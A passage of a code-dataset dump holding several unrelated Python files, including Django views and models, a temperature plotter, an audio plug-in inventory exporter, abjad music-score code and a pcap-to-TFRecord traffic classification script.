numeroCurriculos(request):\r\n\tcurriculos = Curriculo.objects.count()\r\n\treturn HttpResponse(curriculos, content_type=\"text/html\")\r\n\r\n@login_required\r\ndef cadastroOportunidade(request):\r\n\toportunidade = oportunidadeFormulario()\r\n\tif request.method == \"POST\":\r\n\t\toportunidade = oportunidadeFormulario(request.POST)\r\n\t\tif oportunidade.is_valid():\r\n\t\t\toportunidade = oportunidade.save(commit = False)\r\n\t\t\toportunidade.autor = request.user\r\n\t\t\toportunidade.published_date = timezone.now()\r\n\t\t\toportunidade.save()\r\n\t\t\tmessages.success(request, 'Oportunidade criada com sucesso', extra_tags='alert')\r\n\t\t\treturn redirect('listaDeOportunidades')\r\n\r\n\treturn render(request, 'html/cadastrar-oportunidade.html', {'cadastro':oportunidade})\r\n\r\n@login_required\r\ndef cadastrarCurriculo(request):\r\n\tcurriculo = curriculoFormulario()\r\n\tif request.method == \"POST\":\r\n\t\tcurriculo = curriculoFormulario(request.POST)\r\n\t\tprint(curriculo.errors)\r\n\t\tif curriculo.is_valid():\r\n\t\t\tcurriculo = curriculo.save(commit = False)\r\n\t\t\tcurriculo.published_date = timezone.now()\r\n\t\t\tcurriculo.dono = request.user\r\n\t\t\tcurriculo.save()\r\n\t\t\tmessages.success(request, 'Curriculo criado com sucesso', extra_tags='alert')\r\n\t\t\treturn redirect('listaDeOportunidades')\r\n\treturn render(request, 'html/candidato-curriculo.html', {'curriculo':curriculo})\r\n\r\n@login_required\r\ndef entrarOportunidade(request, chavePrimaria):\r\n\toportunidade = Oportunidade.objects.get(pk = chavePrimaria)\r\n\toportunidade.interessados.add(request.user)\r\n\treturn redirect('listaDeOportunidades')\r\n\r\ndef contato(request):\r\n\tif request.method == 'GET':\r\n\t\temail_form = ContatoForm()\r\n\telse:\r\n\t\temail_form = ContatoForm(request.POST)\r\n\t\tif email_form.is_valid():\r\n\t\t\temissor = email_form.cleaned_data['emissor']\r\n\t\t\tassunto = email_form.cleaned_data['assunto']\r\n\t\t\tmsg = email_form.cleaned_data['msg']\r\n\r\n\r\n\t\t\tsend_mail(assunto, msg, emissor, [''])\r\n\t\t\t\r\n\t\t\treturn redirect('listaDeOportunidades')\r\n\treturn render(request, 'html/contato.html', {'form': email_form})\r\n\r\n\r\n\r\n\r\n","sub_path":"curriculos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"262009321","text":"from django.core.exceptions import ValidationError\nfrom django.db import models, transaction\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass Product(models.Model):\n name = models.CharField(max_length=256, unique=True)\n\n def __str__(self) -> str:\n return self.name\n\n class Meta:\n ordering = [\"name\"]\n verbose_name_plural = \"Inventory Management\"\n\n\n@receiver(post_save, sender=Product)\ndef create_inventory(sender, instance, created, **kwargs):\n if created:\n Inventory.objects.create(product=instance)\n\n\nclass Inventory(models.Model):\n product = models.OneToOneField(\n Product, on_delete=models.CASCADE, related_name=\"product_inventory\"\n )\n quantity = models.PositiveBigIntegerField(default=0)\n\n def __str__(self) -> str:\n return f\"{self.product}\"\n\n class Meta:\n ordering = [\"product\"]\n verbose_name_plural = \"Inventory Items\"\n\n\n@receiver(post_save, sender=Product)\ndef create_production_allocation(sender, instance, created, **kwargs):\n if created:\n ProductionAllocated.objects.create(product=instance)\n\n\nclass ProductionAllocated(models.Model):\n product = models.ForeignKey(\n Product, on_delete=models.CASCADE, related_name=\"production_allocated\"\n )\n quantity = models.PositiveBigIntegerField(blank=True, null=True, default=0)\n\n def __str__(self):\n return self.product.name\n\n class Meta:\n ordering = [\"-id\"]\n verbose_name_plural = \"Production Allocated\"\n\n\nclass InventoryLedger(models.Model):\n product = models.ForeignKey(\n Product, on_delete=models.CASCADE, related_name=\"inventory_ledger\"\n )\n quantity = models.BigIntegerField()\n date = models.DateTimeField(auto_now_add=True)\n action = models.CharField(max_length=128)\n transaction_id = models.PositiveBigIntegerField()\n\n def __str__(self) -> str:\n return f\"{self.product}\"\n\n class Meta:\n ordering = [\"-date\"]\n verbose_name_plural = \"Inventory Ledger\"\n\n\nclass InventoryAdjust(models.Model):\n product = models.ForeignKey(\n Product, on_delete=models.CASCADE, related_name=\"inventory_adjustment\"\n )\n quantity = models.BigIntegerField()\n complete = models.BooleanField(default=False)\n closed = models.BooleanField(default=False)\n\n def __str__(self):\n return self.product.name\n\n class Meta:\n ordering = [\"-id\"]\n verbose_name_plural = \"Inventory Adjustment\"\n verbose_name = \"inventory adjustment\"\n\n def clean(self):\n if self.complete == True and self.closed == False:\n product = Inventory.objects.select_for_update().get(product=self.product)\n if product.quantity + self.quantity < 0:\n raise ValidationError(\n _(\"Not enough resources to complete transaction.\")\n )\n\n @transaction.atomic\n def save(self, *args, **kwargs):\n if self.complete == True and self.closed == False:\n product = Inventory.objects.select_for_update().get(product=self.product)\n product.quantity = product.quantity + self.quantity\n product.save()\n InventoryLedger.objects.create(\n product=self.product,\n quantity=self.quantity,\n action=\"Inventory Adjustment\",\n transaction_id=self.product.pk,\n )\n self.closed = True\n super().save(*args, **kwargs)\n","sub_path":"inventory/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"169345595","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\nfrom BeautifulSoup import BeautifulSoup\nimport urllib2,urllib\nhtml = \"http://shenfenzheng.293.net/?_t_t_t=0.0596391458529979\"\n\nre = urllib2.Request(html)\nrep = urllib2.urlopen(re)\nhtml2 = rep.read()\n# print html2\n\nsoup = BeautifulSoup(html2)\nprint(soup)","sub_path":"practice/urllibbb.py","file_name":"urllibbb.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"395492967","text":"import sys\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nhostname = sys.argv[1]\nnum_gpu = int(sys.argv[2])\ngpu_thermal_threshold = 90\ncpu_thermal_threshold = 100\ngpu_temp_filename = \"log/\" + hostname + '_gpu_temp.txt'\ncpu_temp_filename = \"log/\" + hostname + '_cpu_temp.txt'\n\nnum_tokens = num_gpu * 3\n\ndef get_cpu_temp(path):\n\tfile1 = open(path, 'r') \n\tLines = file1.readlines()\n\n\tlist_temp = []\n\tlist_step = []\n\tstep = 0\n\n\tfor line in Lines:\n\t\tif len(line) > 10:\n\t\t\tlist_temp.append([float(t) for t in line.split(' ')])\n\t\t\tlist_step.append(step)\n\t\t\tstep += 1\n\n\tnum_cpu = len(list_temp[0])\n\n\tt = np.asarray(list_step)\n\ttemperature = np.transpose(np.asarray(list_temp))\n\n\treturn t, temperature, num_cpu\n\n\ndef get_gpu_temp(path):\n\tfile1 = open(path, 'r') \n\n\tLines = file1.read().splitlines()\n\n\tlist_temp = []\n\tlist_step = []\n\tstep = 0\n\n\tfor line in Lines:\n\t\tif len(line) > 10:\n\t\t\tstr_temp = line.split(' ')[-1 * num_tokens::3]\n\t\t\tlist_temp.append([int(t) for t in str_temp])\n\t\t\tlist_step.append(step)\n\t\t\tstep += 1\n\n\tt = np.asarray(list_step)\n\ttemperature = np.transpose(np.asarray(list_temp))\n\n\treturn t, temperature\n\n# Get temperature\nt_gpu, temperature_gpu = get_gpu_temp(gpu_temp_filename)\n# t_cpu, temperature_cpu, num_cpu = get_cpu_temp(cpu_temp_filename)\n\nfig, (ax0, ax1) = plt.subplots(2, 1)\n\nax0.set_xlim((t_gpu[0], t_gpu[-1]))\nax0.set_ylim((0, max(gpu_thermal_threshold * 1.1, np.amax(np.amax(temperature_gpu)) * 1.25)))\nax0.set_title('GPU temperature')\nax0.set_xlabel('Progress (step)')\nax0.set_ylabel('Degree (celsius)')\t\t\nfor i in range(num_gpu):\n\tax0.plot(t_gpu, temperature_gpu[i], 'b')\n\nif gpu_thermal_threshold > 0:\n\tax0.plot(t_gpu, gpu_thermal_threshold * np.ones_like(t_gpu), 'r')\n\n\n# ax1.set_xlim((t_cpu[0], t_cpu[-1]))\n# ax1.set_ylim((0, max(cpu_thermal_threshold * 1.1, np.amax(np.amax(temperature_cpu)) * 1.25)))\n# ax1.set_title('CPU temperature')\n# ax1.set_xlabel('Progress (seconds)')\n# ax1.set_ylabel('Degree (celsius)')\t\t\n# for i in range(num_cpu):\n# \tax1.plot(t_cpu, temperature_cpu[i], 'b')\n\n# if cpu_thermal_threshold > 0:\n# \tax1.plot(t_cpu, cpu_thermal_threshold * np.ones_like(t_cpu), 'r')\n\nplt.show()\n","sub_path":"display_temp.py","file_name":"display_temp.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"366203265","text":"#ask for the person's name & age\nname = input('Hello World, what is your name? ----- ')\nage = input('Hello ' + name + ', what is your age? ----- ')\nnumber = input('How many times to repeat, master? ----- ')\n\nyear = 2020\nbirthYear = year - int(age)\nhunderdBDay = birthYear + 100\n\nlst = []\n\ni = 0 \nwhile i < int(number):\n i += 1\n entry = print(name, 'you will be 100 years old in the year:', hunderdBDay)\n lst.append(entry)\n\ncount = 0\nfor entry in lst:\n count +=1\n\nprint('Return printed', count, 'times!')\nprint(lst)\n\n#calculate their birth year\n#calculate the year of their 100th birthday\n","sub_path":"CharacterInput_1.py","file_name":"CharacterInput_1.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"476366167","text":"from django.shortcuts import render\n\n\nfrom announcements.models import Announcement\nfrom contestadmin.models import Contest\nfrom contestsuite.settings import CACHE_TIMEOUT\nfrom register.models import Team\nfrom manager.models import Course, Profile\n\n# Create your views here.\n\n# Display index page\ndef index(request):\n context = {}\n\n context['cache_timeout'] = CACHE_TIMEOUT\n try:\n context['contest'] = Contest.objects.first()\n except:\n context['contest'] = None\n \n context['announcements'] = (Announcement.objects.filter(status=1))[:1]\n context['courses'] = Course.objects.all() \n \n\n return render(request, 'core/index.html', context)\n\n\n# Display contact us page\ndef contact(request):\n return render(request, 'core/contact.html')\n\n\n# Display faq page\ndef faq(request):\n return render(request, 'core/faq.html')\n\n\n# Display teams page\ndef teams(request):\n context = {}\n\n teams_set = Team.objects.all()\n participants_set = Profile.objects.all()\n\n context['cache_timeout'] = CACHE_TIMEOUT\n\n # Aggregate upper division team and participant info\n upper_teams_set = teams_set.filter(division=1)\n context['upper_teams'] = upper_teams_set\n context['num_upper_teams'] = upper_teams_set.count()\n context['num_upper_participants'] = participants_set.filter(team__division=1).count()\n\n # Aggregate division team and participant info\n lower_teams_set = teams_set.filter(division=2)\n context['lower_teams'] = lower_teams_set\n context['num_lower_teams'] = lower_teams_set.count()\n context['num_lower_participants'] = participants_set.filter(team__division=2).count()\n\n return render(request, 'core/teams.html', context)\n","sub_path":"src/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"97644165","text":"#!/usr/local/bin/python3\n\n# Created by George Hart\n\n# Should the find and read functions run immediately with minimal arguments and create classes based on path? I think so\n# How best to order and sort then for user interaction? Alphabetically, search, by first letter, manufacturer?\n# Option to export to a csv file. Can this be used in excel? If not, what can?\n# Take input list and confirm installation? Would be super cool\n# Option to move to/from Unused. sudo called from python?\n\nimport os\nimport plistlib\nfrom getpass import getpass\nimport csv\nimport subprocess\n\n# Variables\n# AAX\naax_base_path = \"/Library/Application Support/Avid/Audio/\"\nplug_aax_used_path = os.path.join(aax_base_path, \"Plug-Ins/\")\nplug_aax_unused_path = os.path.join(aax_base_path, \"Plug-Ins (Unused)/\")\n\naax_suffix = \".aaxplugin\"\n\n# Waves\nplug_waves_path = \"/Applications/Waves/Plug-Ins V9/\"\n\nwaves_suffix = \".bundle\"\n\n# VST and AU\nother_plug_base = \"/Library/Audio/Plug-Ins/\"\nplug_vst_path = os.path.join(other_plug_base, \"VST\")\nplug_vst3_path = os.path.join(other_plug_base, \"VST3\")\nplug_au_path = os.path.join(other_plug_base, \"Components\")\n\nvst_suffix = \".vst\"\nvst3_suffix = \".vst3\"\nau_suffix = \".component\"\n\nplist_path = \"Contents/Info.plist\"\n\n# {plugin_type: [path, suffix, plist_path]}\nplugin_info_dict = {\"AAX\": [plug_aax_used_path, aax_suffix, plist_path],\n \"AAX Unused\": [plug_aax_unused_path, aax_suffix, plist_path],\n \"Waves\": [plug_waves_path, waves_suffix, plist_path],\n \"AU\": [plug_au_path, au_suffix, plist_path],\n \"VST\": [plug_vst_path, vst_suffix, plist_path],\n \"VST3\": [plug_vst3_path, vst3_suffix, plist_path]}\n\n\nclass Plugin:\n\n def __init__(self, type, fullname, path, suffix, version):\n self.type = type\n self.fullname = fullname\n self.path = path\n self.version = version\n self.fullpath = os.path.join(self.path, self.fullname)\n self.shortname = fullname.replace(suffix, \"\")\n # All will have:\n # manufactuer\n # info (not all will have this, look at plist file)\n\n def file_output(self):\n return [self.shortname, self.version, self.type]\n\n def gui_output(self):\n return \"{},{},{}\".format(self.shortname, self.version, self.type)\n\n def __str__(self):\n return \"{:<30}{:^30}{:>30}\".format(self.shortname, self.version, self.type)\n\nclass AAX(Plugin):\n\n used_path = \"/Library/Application Support/Avid/Audio/Plug-Ins\"\n unused_path = \"/Library/Application Support/Avid/Audio/Plug-Ins (Unused)\"\n\n def __init__(self, type, fullname, path, suffix, version):\n super().__init__(type, fullname, path, suffix, version)\n\n if self.unused:\n self.type = \"AAX Unused\"\n else:\n self.type = \"AAX\"\n\n # Not currently implemented\n def move_plug(self):\n if not self.unused[0]:\n password = getpass(\"Password: \")\n os.system(\"{} mv {} {}\".format(self.sudo(password), self.fullpath, self.unused_path))\n self.path = self.unused_path\n\n else:\n password = getpass(\"Password: \")\n os.system(\"{} mv {} {}\".format(self.sudo(password), self.fullpath, self.used_path))\n self.path = self.used_path\n\n @staticmethod\n def sudo(password):\n return \"echo {} | sudo -S\".format(password)\n\n\n @property\n def unused(self):\n if \"Unused\" in self.path:\n return True\n else:\n return False\n\n # @classmethod\n # def from_list(cls, input_list):\n # return cls(input_list[0], input_list[1], input_list[2])\n\nclass Waves(Plugin):\n\n def __init__(self, type, fullname, path, suffix, version):\n super().__init__(type, fullname, path, suffix, version)\n\n\nclass VST(Plugin):\n\n def __init__(self, type, fullname, path, suffix, version):\n super().__init__(type, fullname, path, suffix, version)\n\n\nclass VST3(Plugin):\n\n def __init__(self, type, fullname, path, suffix, version):\n super().__init__(type, fullname, path, suffix, version)\n\nclass AU(Plugin):\n\n def __init__(self, type, fullname, path, suffix, version):\n super().__init__(type, fullname, path, suffix, version)\n\n # @classmethod\n # def from_list(cls, input_list):\n # return cls(input_list[0], input_list[1], input_list[2])\n\n\ndef read_plist(path, plist_path): # web_keyword\n key_found = False\n version_keywords = [\"CFBundleShortVersionString\", \"CFBundleVersion\"]\n\n try:\n plist_loc = os.path.join(path, plist_path)\n with open(plist_loc, \"rb\") as file:\n file_info = plistlib.load(file)\n except:\n print(\"'{}' is not a valid path.\".format(path))\n version = \"Version Not Found\"\n return version\n\n version_keyword = 0\n while not key_found:\n try:\n version = file_info[version_keywords[version_keyword]]\n key_found = True\n except KeyError:\n version_keyword += 1\n if (version_keyword - 1) > len(version_keywords):\n version = \"Version Not Found\"\n key_found = True\n\n # website = file_info[web_keyword]\n return version # website\n\ndef get_computername():\n proc = subprocess.Popen([\"scutil\", \"--get\", \"ComputerName\"], stdout=subprocess.PIPE, universal_newlines=True)\n output = proc.stdout.read()\n\n return output.strip(\"\\n\")\n\n\"\"\"Document function once amended.\"\"\"\ndef find_plugin_info(path, suffix, plist_path, new_class, type): # web_keyword,\n info_dict = {}\n\n tmp = subprocess.Popen([\"ls\", path], stdout=subprocess.PIPE, universal_newlines=True)\n listed_output = tmp.stdout.read()\n listed_output = listed_output.split(\"\\n\")\n listed_output.pop(-1)\n for directory in listed_output:\n if directory.endswith(suffix):\n\n full_path = os.path.join(path, directory)\n add_class = new_class(type, directory, full_path, suffix, read_plist(full_path, plist_path))\n info_dict[add_class.shortname] = add_class\n else:\n\n for root, dirs, files in os.walk(os.path.join(path, directory)):\n for dir in dirs:\n if dir.endswith(suffix):\n full_path = os.path.join(root, dir)\n add_class = new_class(type, dir, full_path, suffix, read_plist(full_path, plist_path))\n info_dict[add_class.shortname] = add_class\n return info_dict # remove dictionary creation and make class list\n\ndef swap_used_unused():\n pass\n# if object in used list, remove and add to unused - visa versa\n\n# searches all_plugins.keys() for user input, returns all matches\ndef search_dicts(user_input, dict_to_search, search_all=True):\n found_plugs = []\n if search_all:\n for item_dict in dict_to_search:\n for plugin in item_dict.keys():\n if user_input in plugin.lower():\n found_plugs.append(item_dict[plugin])\n return found_plugs # The call for this function needs to perform a test for length to determine output\n else:\n for plugin in dict_to_search:\n if user_input in plugin.lower():\n found_plugs.append(dict_to_search[plugin])\n return found_plugs\n\ndef list_dicts(dict_to_search):\n text_to_return = []\n for class_item in dict_to_search.values():\n text_to_return.append(class_item.gui_output())\n return text_to_return\n\n# Returns a list of dictionaries. Each dictionary is represents a class of plugins\ndef create_new_classes(external_path=None):\n all_plugins = []\n plugin_classes = {\"AAX\": AAX, \"AAX Unused\": AAX, \"Waves\": Waves, \"VST\": VST, \"VST3\": VST3, \"AU\": AU}\n\n for key, value in plugin_info_dict.items():\n if external_path == None:\n new_item = find_plugin_info(value[0], value[1], value[2], plugin_classes[key], key)\n else:\n new_item = find_plugin_info(external_path + value[0], value[1], value[2], plugin_classes[key], key)\n all_plugins.append(new_item)\n\n return all_plugins\n\ndef export_plugins_list(filename, list_to_export, category, all_plugins=True, sep_files=False):\n\n if all_plugins:\n count = 0\n try:\n if sep_files:\n source_path, stripped_filename = filename.rsplit(\"/\", 1)\n os.system(\"mkdir {}\".format(filename))\n filename = os.path.join(filename, stripped_filename)\n for plugin_class in list_to_export:\n if len(plugin_class) == 0:\n count += 1\n else:\n with open(filename + \"_\" + category[count] + \".csv\", \"w+\") as save_file:\n writerfile = csv.writer(save_file, delimiter=\",\")\n writerfile.writerow([category[count]])\n writerfile.writerow([\"{:^2}\".format(\"Plugin\"),\n \"{:^2}\".format(\"Version\"),\n \"{:^2}\".format(\"Type\")])\n for plugin in plugin_class.values():\n writerfile.writerow(plugin.file_output())\n writerfile.writerow([\"Total \" + category[count] + \": \" + str(len(plugin_class))])\n writerfile.writerow([\" \"])\n count += 1\n else:\n with open(filename + \".csv\", \"w+\") as save_file:\n writerfile = csv.writer(save_file, delimiter=\",\")\n for plugin_class in list_to_export:\n if len(plugin_class) == 0:\n count += 1\n else:\n writerfile.writerow([category[count]])\n writerfile.writerow([\"{:^2}\".format(\"Plugin\"),\n \"{:^2}\".format(\"Version\"),\n \"{:^2}\".format(\"Type\")])\n for plugin in plugin_class.values():\n writerfile.writerow(plugin.file_output())\n writerfile.writerow([\" \"])\n writerfile.writerow([\"Total \" + category[count] + \": \" + str(len(plugin_class))])\n writerfile.writerow([\" \"])\n count += 1\n\n except ValueError:\n pass\n\n elif not sep_files:\n count = 0\n with open(filename + \".csv\", \"w+\") as save_file:\n writerfile = csv.writer(save_file, delimiter=\",\")\n for plugin_class in list_to_export:\n\n if plugin_class == 0:\n pass\n else:\n writerfile.writerow([category[count]])\n writerfile.writerow([\"{:^2}\".format(\"Plugin\"),\n \"{:^2}\".format(\"Version\"),\n \"{:^2}\".format(\"Type\")])\n for plugin in plugin_class.values():\n writerfile.writerow(plugin.file_output())\n writerfile.writerow([\"Total \" + category[count] + \": \" + str(len(plugin_class))])\n writerfile.writerow([\" \"])\n count += 1\n\n else:\n source_path, stripped_filename = filename.rsplit(\"/\", 1)\n os.system(\"mkdir {}\".format(filename))\n filename = os.path.join(filename, stripped_filename)\n with open(filename + \"_\" + category + \".csv\", \"w+\") as save_file:\n writerfile = csv.writer(save_file, delimiter=\",\")\n writerfile.writerow([\"Plugin\", \"Version\", \"Type\"])\n writerfile.writerow([category])\n\n for printer in list_to_export.values():\n writerfile.writerow(printer.file_output())\n writerfile.writerow([\"Total \" + category + \": \" + str(len(list_to_export))])\n\n\ndef get_plugins(external_path=None):\n all_dicts = create_new_classes(external_path=external_path)\n category_item = [key for key in plugin_info_dict.keys()]\n categories = {}\n for i, item in enumerate(all_dicts):\n categories[category_item[i]] = item\n categories[\"All Plugins\"] = all_dicts\n\n return categories # all_dicts\n\n\ndef main():\n all_plugins = create_new_classes()\n save_name = input(\"Filename: \")\n save_path = input(\"Save to: \").strip()\n filename = os.path.join(save_path, save_name)\n export_plugins_list(filename, all_plugins, [x for x in plugin_info_dict.keys()], all_plugins=True, sep_files=True)\n print(\"All plugins exported as separate files to ... {}\".format(filename))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"InstalledPlugins_ForGUI.py","file_name":"InstalledPlugins_ForGUI.py","file_ext":"py","file_size_in_byte":12734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"238308882","text":"from Script_Initializer import FileCreator\nfrom logger import logger\n\nclass ScriptGen(object):\n\t\"\"\"docstring for ScriptGen\"\"\"\n\texcept_block = \"except Exception as e: \\n\\texception.append(str(e))\\n\"\n\ttry_block = \"try:\\n\\t\"\n\t\n\tdef __init__(self, filename):\n\t\tsuper(ScriptGen, self).__init__()\n\t\tself.filename = filename\n\n\tdef script(self, line):\n\t\twith open(self.filename+'.py','a') as script:\n\t\t\tscript.write(self.try_block)\n\t\t\tscript.write(line)\n\t\t\tscript.write(self.except_block)\t\t\t\t\t\t\n\t\t\tscript.write(FileCreator(self.filename).dump)\n\t\t\tscript.write(FileCreator(self.filename).line_break)\n\t\t\tscript.close()\n\n\tdef log_checker(self, line):\n\t\twith open(self.filename+'.py','a') as script:\n\t\t\tscript.write(line)\t\t\t\t\t\n\t\t\tscript.write(FileCreator(self.filename).line_break)\n\t\t\tscript.close()\n\n\tdef log(self, log):\n\t\twith open(self.filename+'.txt','a') as log_file:\n\t\t\tlog_file.write(log)\n\t\t\tlog_file.close()","sub_path":"ScriptGenerator(copy).py","file_name":"ScriptGenerator(copy).py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"616032294","text":"import abjad\nimport baca\nfrom desir.fleurs.get_fleur_by_number import get_fleur_by_number\n\n\ndef get_fleur_pitch_sets():\n fleur_pitch_sets = []\n fleur_number = 1\n while True:\n try:\n structured_fleur_pitch_numbers = get_fleur_by_number(fleur_number)\n fleur_pitch_numbers = baca.sequence(\n structured_fleur_pitch_numbers\n ).flatten()\n fleur_pitch_set = abjad.PitchSet(fleur_pitch_numbers)\n fleur_pitch_sets.append(fleur_pitch_set)\n except:\n break\n fleur_number += 1\n return fleur_pitch_sets\n\n\ndef make_chords():\n fleur_pitch_sets = get_fleur_pitch_sets()\n chords = []\n for fleur_pitch_set in fleur_pitch_sets:\n chord = abjad.Chord(fleur_pitch_set.pitches, abjad.Fraction(1, 4))\n chords.append(chord)\n return chords\n\n\ndef configure_score(score):\n treble_staff = score[0][0]\n bass_staff = score[0][1]\n treble_staff.meter.forced = abjad.TimeSignature(1, 4)\n bass_staff.meter.forced = abjad.TimeSignature(1, 4)\n schema = abjad.LayoutSchema(abjad.Fraction(7, 4), (35, 5, 0), (10,))\n abjad.apply_layout_schema(treble_staff, schema, klass=abjad.Leaf)\n score.note_head.duration_log = 1\n # label.leaf_numbers(treble_staff, direction = 'above')\n treble_staff.text_script.staff_padding = 6\n pnd = abjad.Fraction(1, 24)\n score.spacing.proportional_notation_duration = pnd\n score.spacing.uniform_stretching = True\n score.spacing.strict_note_spacing = True\n score.stem.transparent = True\n score.beam.auto_beaming = False\n score.meter.transparent = True\n score.text_script.staff_padding = 6\n score.text_script.Y_extent = (0, 0)\n score.bar_line.stencil = False\n score.meter.stencil = False\n configure_lilypond_file(score)\n\n\ndef configure_lilypond_file(score):\n lilypond_file = abjad.LilyPondFile.new(score)\n lilypond_file.layout.indent = 0\n lilypond_file.layout.ragged_right = True\n lilypond_file.paper.top_margin = 20\n lilypond_file.paper.left_margin = 15\n lilypond_file.paper.print_page_number = False\n lilypond_file.paper.minimal_page_breaking = True\n lilypond_file.paper.ragged_last_bottom = True\n lilypond_file.paper.ragged_bottom = True\n lilypond_file.paper.between_system_padding = 10\n lilypond_file.global_staff_size = 14\n lilypond_file.default_paper_size = \"letter\", \"portrait\"\n apply_footer(score)\n return lilypond_file\n\n\ndef apply_footer(score):\n lilypond_file = score.lilypond_file\n footer_string = \"désir - fleur pitch sets by arithmetic mean\"\n footer_markup = abjad.Markup(r'\\fill-line { \"%s\" }' % footer_string)\n lilypond_file.paper.oddFooterMarkup = footer_markup\n lilypond_file.paper.evenFooterMarkup = footer_markup\n\n\nif __name__ == \"__main__\":\n chords = make_chords()\n abjad.label.leaf_numbers(chords, direction=Up)\n chords.sort()\n score = abjad.Score.make_piano_score(chords)\n configure_score(score)\n abjad.show(score.lilypond_file)\n","sub_path":"desir/etc/fleurs/psets/score_fleur_pitch_sets.py","file_name":"score_fleur_pitch_sets.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"493884758","text":"#!/usr/bin/env python\n#coding=utf-8\n\"\"\"\n@author: TianMao\n@contact: tianmao1994@yahoo.com\n@file: https_parse.py\n@time: 18-11-12 下午7:50\n@desc: 解析包,将ascii写入到tfrecord中.特征包括:统计特征,payload,content type,packet长度\n可以变化的包括:payload的长度,packet的数目\n\"\"\"\n\nfrom scapy.all import *\nfrom scapy.all import IP,TCP\nfrom scapy_ssl_tls.ssl_tls import *\nimport tensorflow as tf\nimport numpy as np\nimport os\n\ndef getRecordType(pkt):\n\ttry:\n\t\trecordtype=pkt[\"TLS Record\"].content_type\n\texcept:\n\t\ttry:\n\t\t\trecordtype=pkt[\"SSLv2 Record\"].content_type\n\t\texcept:\n\t\t\trecordtype=256\n\treturn recordtype\n\ndef wrap_int64(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\ndef wrap_array(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=value))\ndef wrap_bytes(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\ndef padArray(array_,num,length):\n if len(array_)>length:\n return array_[:length]\n else:\n return array_+[num]*(length-len(array_))\n\ndef print_progress(count, total):\n # Percentage completion.\n pct_complete = float(count) / total\n\n # Status-message.\n # Note the \\r which means the line should overwrite itself.\n msg = \"\\r- Progress: {0:.1%}\".format(pct_complete)\n\n # Print it.\n sys.stdout.write(msg)\n sys.stdout.flush()\n\n# softwares={\"baiduditu\":0,\n# \"baidutieba\":1,\n# \"cloudmusic\":2,\n# \"iqiyi\":3,\n# \"jingdong\":4,\n# \"jinritoutiao\":5,\n# \"meituan\":6,\n# \"qq\":7,\n# \"qqmusic\":8,\n# \"qqyuedu\":9,\n# \"taobao\":10,\n# \"weibo\":11,\n# \"xiecheng\":12,\n# \"zhihu\":13}\n\nsoftwares={\"AIM\":0,\n \"email\":1,\n \"facebookchat\":2,\n \"gmailchat\":3,\n \"hangoutsaudio\":4,\n \"hangoutschat\":5,\n \"icqchat\":6,\n \"netflix\":7,\n \"skypechat\":8,\n \"skypefile\":9,\n \"spotify\":10,\n \"vimeo\":11,\n \"youtube\":12,\n \"youtubeHTML5\":13}\n\n\ndef packet_parse(pcap_file):\n '''\n 解析pcap文件\n :param pcap_file:\n :return:content type,packet长度,payload,label\n '''\n packets=rdpcap(\"../../data/wd_https/noVPN/\"+pcap_file)\n packets = [ pkt for pkt in packets if IP in pkt for p in pkt if TCP in p ]\n recordTypes=[getRecordType(pkt) for pkt in packets]\n recordTypes=padArray(recordTypes,256,64)\n\n packetLength=[pkt.len for pkt in packets]\n packetLength=padArray(packetLength,0,64)\n\n payloads=\"\"\n for pkt in packets[:20]:\n payloads+=str(pkt.payload)[:64]\n packetPayload=[ord(c) for c in payloads]\n packetPayload=padArray(packetPayload,-1,1024)\n\n i=pcap_file.find(\"_\")\n label=softwares[pcap_file[:i]]\n return recordTypes,packetLength,packetPayload,label\n\n\n\npcap_files=os.listdir(\"../../data/wd_https/noVPN/\")\nnp.random.shuffle(pcap_files)\n\ntrain_files=pcap_files[500:]\ntest_files=pcap_files[:500]\n\ndef convert(pcap_files, out_path):\n print(\"Converting: \" + out_path)\n num = len(pcap_files)\n with tf.python_io.TFRecordWriter(out_path) as writer:\n i=0\n for pacp_file in pcap_files:\n print_progress(i, num)\n recordTypes, packetLength, packetPayload, label = packet_parse(pacp_file)\n example = tf.train.Example(features=tf.train.Features(\n feature={'recordTypes': wrap_array(recordTypes),\n 'packetLength': wrap_array(packetLength),\n 'packetPayload': wrap_array(packetPayload),\n 'label': wrap_int64(label)\n }))\n serialized = example.SerializeToString()\n writer.write(serialized)\n i = i + 1\n\n\ndef parse(serialized):\n features = {\n 'recordTypes': tf.FixedLenFeature([16], tf.int64),\n 'packetLength': tf.FixedLenFeature([16], tf.int64),\n 'packetPayload': tf.FixedLenFeature([1024], tf.int64),\n 'label': tf.FixedLenFeature([], tf.int64)\n }\n\n parsed_example = tf.parse_single_example(serialized=serialized,\n features=features)\n recordTypes = parsed_example['recordTypes']\n packetLength = parsed_example['packetLength']\n packetPayload = parsed_example['packetPayload']\n label = parsed_example['label']\n return recordTypes, packetLength, packetPayload, label\n\n\ndef input_fn(filenames, train, batch_size=32, buffer_size=2048):\n\n dataset = 